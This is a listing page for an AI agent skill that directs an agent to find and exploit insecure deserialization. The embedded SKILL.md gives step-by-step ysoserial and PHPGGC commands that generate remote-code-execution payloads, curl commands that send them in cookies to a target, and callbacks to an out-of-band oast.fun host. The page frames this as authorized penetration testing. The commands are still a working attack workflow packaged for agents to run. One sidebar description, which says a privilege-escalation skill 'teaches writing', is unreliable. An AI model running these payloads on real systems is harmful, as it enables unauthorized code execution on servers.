exploiting-insecure-deserialization
Has your agent identify and exploit insecure deserialization vulnerabilities to achieve remote code execution.
What it does
This tool helps find and exploit security flaws in how computer programs handle 'serialized' data (data converted into a format for storage or transmission). If a flaw is found, it's possible to execute commands on the server.
When to use it
- ✓During authorized security testing of web applications.
- ✓When an application uses serialized data in cookies, parameters, or message queues.
- ✓When checking if user-supplied data can be manipulated to execute code.
Example of what to ask your AI
“Look for insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications.”
Want more? Open the sections below.
How to use
The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.
Skill link
Ready-to-paste message
How it works
The tool checks if the application accepts serialized data from untrusted sources. If it does, it attempts to send malicious data that, when 'deserialized' (reconstructed), executes commands on the server.
Installation
Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.
In the terminal (Claude Code, Codex, Cursor), in your project folder:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-insecure-deserializationOr download just the file:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-insecure-deserialization/SKILL.md -o SKILL.mdTechnical content (original SKILL.md)
Original text by the author, straight from GitHub.
Exploiting Insecure Deserialization
When to Use
- During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)
- When identifying Java serialization markers (
ac ed 00 05/rO0AB) in HTTP traffic - For testing PHP applications that use
unserialize()on user-controlled input - When evaluating .NET applications using
BinaryFormatter,ObjectStateFormatter, orViewState - During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization
Prerequisites
- Authorization: Written penetration testing agreement with RCE testing scope
- ysoserial: Java deserialization exploit tool (
git clone https://github.com/frohoff/ysoserial.git) - ysoserial.net: .NET deserialization exploit tool (
git clone https://github.com/pwntester/ysoserial.net.git) - PHPGGC: PHP deserialization gadget chain generator (
git clone https://github.com/ambionics/phpggc.git) - Burp Suite Professional: With Java Deserialization Scanner extension
- Java Runtime: For running ysoserial
- Collaborator/interactsh: For out-of-band confirmation of code execution
Workflow
Step 1: Identify Serialized Data in Application Traffic
Detect serialized objects in HTTP parameters, cookies, and headers.
# Java serialization markers
# Binary: starts with 0xACED0005
# Base64: starts with rO0AB
# Gzip+Base64: starts with H4sIAAAAAAAA
# Search Burp proxy history for serialization signatures
# In Burp: Proxy > HTTP History > Search > "rO0AB"
# Check cookies and parameters for Base64-encoded serialized data
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head
# PHP serialization format
# Looks like: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}
# .NET ViewState
# __VIEWSTATE parameter in ASP.NET forms
# Starts with /wEP... (base64)
# Python pickle
# Base64 encoded pickle objects in cookies or API parameters
# Binary starts with 0x80 (protocol version)
# Common locations to check:
# - Session cookies
# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)
# - API request/response bodies
# - WebSocket messages
# - Message queue payloads (JMS, RabbitMQ, Redis)
# - Cache entries (Memcached, Redis)
Step 2: Test Java Deserialization with ysoserial
Generate deserialization payloads for Java applications.
# List available gadget chains
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"
# Generate DNS callback payload for detection (safest test)
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0
# Test with Burp Collaborator
# Replace serialized cookie/parameter with generated payload
# Check Collaborator for DNS/HTTP callbacks
# Generate RCE payloads with common gadget chains
# CommonsCollections (very common in Java apps)
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0
# Spring Framework gadget
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0
# Hibernate gadget
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0
# Send payload via curl
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
-b "session=$PAYLOAD" \
"https://target.example.com/dashboard"
Step 3: Test PHP Deserialization with PHPGGC
Generate PHP gadget chains for common frameworks.
# List available PHP gadget chains
./phpggc -l
# Generate payloads for common PHP frameworks
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b
# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b
# WordPress (via Guzzle)
./phpggc Guzzle/RCE1 system "id" -b
# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b
# Test by injecting into cookie or parameter
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
"https://target.example.com/dashboard"
# PHP object injection via manipulated serialized string
# Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# Modified: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}
…
FAQ
What is 'serialized' data?
It's a format that transforms program objects into a sequence of bytes so they can be stored or transmitted, and then reconstructed into their original format.
What is 'insecure deserialization'?
It's when a program doesn't properly validate serialized data it receives, allowing an attacker to send specially crafted data to execute malicious code.
Do I need permission to use this tool?
Yes, it is crucial to have explicit authorization before performing any security testing to avoid legal issues.
Details
Original description by the author
Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests.
Popularity
- GitHub stars
- 35k
- Ranking position
- #5747
- License
- Apache-2.0
- Updated
- 8/31/2026
Comments
- …
More skills from this repository
abusing-dpapi-for-credential-access
Gives your AI agent ready-made instructions for a specific task, so it does it better and faster.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Teaches your AI agent to write clear, well-structured text.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Helps your agent prepare an environment for CMMC Level 2 compliance. It implements security requirements and manages necessary documentation.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Helps your agent create exact copies of hard drives. This is useful for ensuring no information is lost or altered during investigations.
mukul975/Anthropic-Cybersecurity-Skills
Similar skills
dashboard-builder
Helps your agent create useful monitoring dashboards. It turns data into charts that answer important system questions.
affaan-m/ECC
dev-team
Simulates a collaborative development team where different roles respond to a problem together. It's useful for getting multiple perspectives without manually switching agents.
affaan-m/ECC
ecc-council
Has your agent convene a four-voice council for difficult decisions. It's useful when there are multiple good options and debate is needed before choosing.
affaan-m/ECC